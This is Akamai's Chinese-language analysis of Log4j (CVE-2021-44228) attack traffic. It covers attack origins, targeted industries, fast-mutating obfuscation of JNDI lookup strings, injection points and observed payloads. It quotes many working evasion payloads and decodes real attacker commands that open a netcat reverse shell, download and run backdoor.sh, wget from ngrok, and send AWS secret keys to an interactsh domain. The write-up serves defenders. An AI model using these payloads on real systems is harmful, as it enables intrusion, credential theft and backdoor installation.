Akamai 带你管窥 Log4j 漏洞

近日,Log4j漏洞(CVE-2021-44228)吸引了大量关注,相信相关技术细节分析和介绍大家已经看过不少。本文Akamai将从自身优势出发,凭借其从全球规模大型边缘平台所收集到的数据和洞察,分析该漏洞的实际影响以及带给我们的启发。
Akamai广受信赖的全球大规模边缘平台,每天处理着全球超过13亿台设备所产生的网络流量,峰值流量曾高达创纪录的300Tbps。这使得Akamai安全技术研究团队通过分析这些流量信息,在 Log4j漏洞(以及其他各类安全威胁)到底是如何被攻击者利用这个问题上有了更深入的见解。
针对本次Log4j漏洞,Akamai认为最值得注意的地方在于:
预计该漏洞将产生极为显著的长尾效应:由于包含该漏洞的软件数量多,使用范围广,并且出现了多种变体,未来几个月内相关攻击可能会长期存在,甚至会出现很多暗地里进行,不被公开的攻击。因此我们依然建议用户需要重视紧急打补丁操作,以减轻未来可能的攻击企图。
攻击者将伺机发起更有针对性的攻击:随着漏洞利用方式不断变化,攻击者将更加充分地利用每一次可能的机会,并逐渐选择以特定组织为目标。为了快速适应不断变化的威胁形式,安全人员必须对这种问题加以重视。
未来数月,大家可能还无法完全了解“侦查”工作可能的后果:有关该漏洞,目前我们所观察到的大部分活动都是“侦查”/测试性质的,实际出现的攻击行为占比较小。虽然可以打补丁或通过其他方法缓解,但目前还无法确定这一时期内到底发生了多少入侵事件。这些入侵需要一段时间才可能曝光,而我们也需要时间才能更全面地了解其严重性。
接下来我们一起看看Akamai对Log4j漏洞进行分析发现的结论。
发现1:星星之火即将燎原的恶意行为
攻击者已经针对Akamai很多客户进行了一定的攻击尝试,紧随其后就是大规模持续攻击。此外我们还发现,随着攻击者找到更多攻击媒介,攻击方式的变体和恶意行为的数量都在急剧增加。

与其他零日(0-Day)攻击类似,攻击者会非常快速地采用这种漏洞并借此扩充自己的“武器库”。从监测数据中我们发现,利用Log4j漏洞发起攻击的基础架构中,约有57%已经因为曾经发起过攻击而被Akamai记录在案。基本上,本次利用Log4j漏洞的大规模攻击中,已知攻击者和新攻击者的来源各自占一半的比例。
这些攻击几乎遍布全球。大部分攻击最初源自美国、新加坡、德国和巴西,但在地理位置上呈现出高度分布的态势。我们还观察到一些来自主流云服务提供商(例如AWS和DigitalOcean)所托管服务器发起的攻击。

另外据观察,发起攻击的IP地址始终在不断变化。根据12月15日的观察结果,大部分攻击都源自加拿大、俄罗斯、卢森堡以及英国。

在所有垂直行业中,商业机构被攻击占比最高,但其他行业也普遍遭遇了或多或少的攻击。Akamai应用程序安全性解决方案客户中有超过50%在一小时内就遭遇了利用此漏洞的攻击。

在被攻击的目标数量方面,美国居于首位,其数量甚至是第二名(英国)的五倍以上。但其他国家/地区也遭遇了或多或少的攻击。

发现2:前所未见的突变
除了巨大的影响之外,对于该漏洞,我们发现其利用方式方面也展现出前所未见的突变速度。
在对于相关漏洞的概念证实资料中,所揭示的最初攻击媒介是这样的:
${jndi:ldap://malicious_server_address/}
但很快就出现了一些简单有效的规避技术,例如对载荷进行的URL编码:
$%7Bjndi:ldap:/x.x.x.x:3339/Exploit%7D
几小时内,攻击者就开始尝试使用其他JNDI注册服务提供商(如“rmi”和“dns”)来规避专门检测“ldap”的检测方法,例如:
${jndi:rmi:// and ${jndi:dns://
Log4j 2 lookups文档有助于大家了解攻击面和可行的规避方法。而攻击者和研究人员正在试图使用其中所列出的Lookup指令创建可以起到混淆作用的攻击变体,确保其中不会包含“jndi”,毕竟目前大部分防御机制都会通过检测规则搜索是否存在该字符串。
由于Log4j是不区分大小写的,因此最初几乎不需要使用“lower”和“upper”这样的字符转换查找指令,例如:
${${lower:j}ndi: and ${${upper:j}ndi:
虽然能为Lookup指令提供任何长度的字符串,而非只能提供一个字符,因此这样的指令也能生效:
${${lower:jnd}i:
随后很快有攻击者发现,可以定义一个用户变量,并使用“-”号为其设置默认值,这将导致在定义之后会返回该默认值。这也为“jndi”和“ldap”字符串的混淆提供了另一种方法,例如:
${${x:-j}ndi:
显然,Log4j框架甚至不需要为变量提供名称,很快各种漏洞变体开始利用这些“空”的变量名称以及包含多重深度的变量,例如:
${${:-j}ndi: and ${${::::::-j}ndi:
一些变量随后开始利用其他用户指令(如“env”)来定义新的环境变量。甚至开始使用“date”,然而令人惊讶的是,该变量并不能强制指定任何日期格式。例如:
${${env:BARFOO:-j}ndi and ${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://127.0.0.1:3339/Exploit}
在攻击大规模出现几天后,更多的高级变体开始包含“空”字符串这种规避措施。攻击者开始寻找能在计算时导致“空”字符串的Lookup方法以及适合的表达式,这意味着这些表达式可以注入任何字符之间,例如:
${:-}
“空”字符串更高级的变体需要依赖特定系统的某些设置,可注入类似这样的内容:
${{sys:sun.cpu.isalist}jnd${sys:sun.cpu.isalist}i
此外我们也发现还有很多攻击者在一直尝试使用其他更多类型的变体,例如双重URL编码、Unicode以及不使用“}”符号收尾的表达式。
另外需要注意,一些攻击者已经开始使用不同的无效攻击变体,例如:
$jndi:ldap://
发现3:从伺机而动到更有针对性的多个注入点
在研究中我们发现,攻击者已经在多个位置注入了可以成功利用漏洞的有效载荷。最常见的注入位置是查询字符串参数、User-Agent标头(正如最初的概念证实资料中所揭示的那样)以及请求路径,并且攻击者会假设Web服务器和应用程序将通过日志来记录“访问”信息,例如方法、请求路径以及User Agent。
在大部分攻击中,注入都发生在不同的Dummy查询参数,如“x”、“test”以及“foo”中。此外也有攻击者使用了其他查询参数,如“url”、“nextUrl”、“_csrfToken”、“_endcoding”以及“openid.retrun_to”,并期待着这些参数能够有更大机会被成功记录。
每个可以想到的标头都可能成为注入的目标,包括Cookie、Referer、X-Forwarded-For以及Connection。
许多攻击者甚至会在同一个请求的多个位置进行注入。

发现4:载荷分析发现了盲目侦查、丢弃恶意软件以及事后利用工具的使用迹象
大部分攻击者正在通过“盲目”侦查技术,借助最流行的在线服务来检测外部服务的交互。对于某些漏洞,攻击者可能无法从目标服务直接获得响应并确认漏洞的存在。此时为了通过盲目侦查技术测试网站是否存在漏洞,需要尝试执行代码以联系攻击者所控制的外部服务器,进而侦听此类连接。如果攻击者的服务器收到了来自某些服务器的“信标”,这意味着该服务器已经成功执行了攻击者的代码。但大部分攻击者并未自行设置并维护这样的侦听服务器,而是选择了一些流行的在线服务来实现侦听作用。

Log4j攻击中最常用的此类“侦听”服务包括“ineract.sh”、“burpcollaborator.net”以及“canarytokens.com”,但实际上攻击中还使用了大量其他域名。其中很多域都部署了开源的带外交互服务器“Ineractsh”。

在盲侦查信标的基础上,许多攻击者已经在尝试窃取一些有用的数据,例如机器的主机名,以及 java:os、java:vm、env:user 等环境数据,甚至会提取 AWS 密钥以便接管 AWS 帐户。
x=${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.c6r0th1plenfp33c62vgcg5bneayyna7g.interactsh.com/a} |
还有其他一些攻击载荷包括使用 base64 编码攻击载荷的直接命令执行:
${jndi:ldap://165.22.213.147:1389/Basic/Command/Base64/bmMgMTY1LjIyLjIxMy4x
NDcgODg4OCAtZSAvYmluL2Jhc2ggOyBjdXJsIGh0dHA6Ly8xNjUuMjIuMjEzLjE0Nz
o3Nzc3L2JhY2tkb29yLnNoIC1vIGJhY2tkb29yLnNoIDsgY2htb2QgK3ggLi9iYWNrZG9vci5
zaCA7YmFzaCBiYWNrZG9vci5zaCA7IGRpZyBsb2x6LjEyMWVwdDltNmJvanVsaHZ3dzBiN
HlxdHBrdmJvemQuYnVycGNvbGxhYm9yYXRvci5uZXQ=}
此攻击载荷会转换为:
nc 165.22.213.147 8888 -e /bin/bash ; curl http://165.22.213.147:7777/backdoor.sh -o backdoor.sh ; chmod +x ./backdoor.sh ;bash backdoor.sh ; dig lolz.121ept9m6bojulhvww0b4yqtpkvbozd.burpcollaborator.net |
攻击者会打开连接其 C2 服务器的反向 shell、下载一个 spearhead bash 脚本,随后执行该脚本并且向“burpcollaborator.net”发送一个“DNS”信标,以确认服务器存在漏洞。
他们还利用“ngrok.io”反向隧道服务来隐藏攻击者身份:
${${env:BARFOO:-j}ndi:${env:BARFOO:-l}dap${env:BARFOO:-:}//0.tcp.ngrok.io:17305/Basic/Command/Base64/d2dldCA4LnRjcC5uZ3Jvay5pbzoxNDYzOSAg}
执行的命令会下载一个后门程序:
wget 8.tcp.ngrok.io:14639
这些隧道服务的优势在于,攻击者不需要在自己的公开服务器上托管恶意软件,避免自己的服务器因此被相关机构关停或被查获。在这种情况下,攻击者在自己的机器上托管恶意软件和命令与控制面板,然后藏身于某个合法隧道服务之后,此服务会起到“代理”的作用,将 C2 流量从受害者的机器发送到攻击者的机器。
除了部署加密挖矿软件和 DDoS 爬虫程序的恶意攻击者之外,我们还发现某些激进的攻击者目前在以 Windows 机器为目标执行大量扫描。攻击者会尝试部署恶名昭著的“netcat”后门程序,这是一种已知的 Windows 特权提升工具,通常用于成功渗透之后的横向移动,或者用于获取特权以使用勒索软件加密磁盘。


总的来说,在Akamai迄今为止所观察到的攻击中,只有一小部分似乎与勒索软件有关。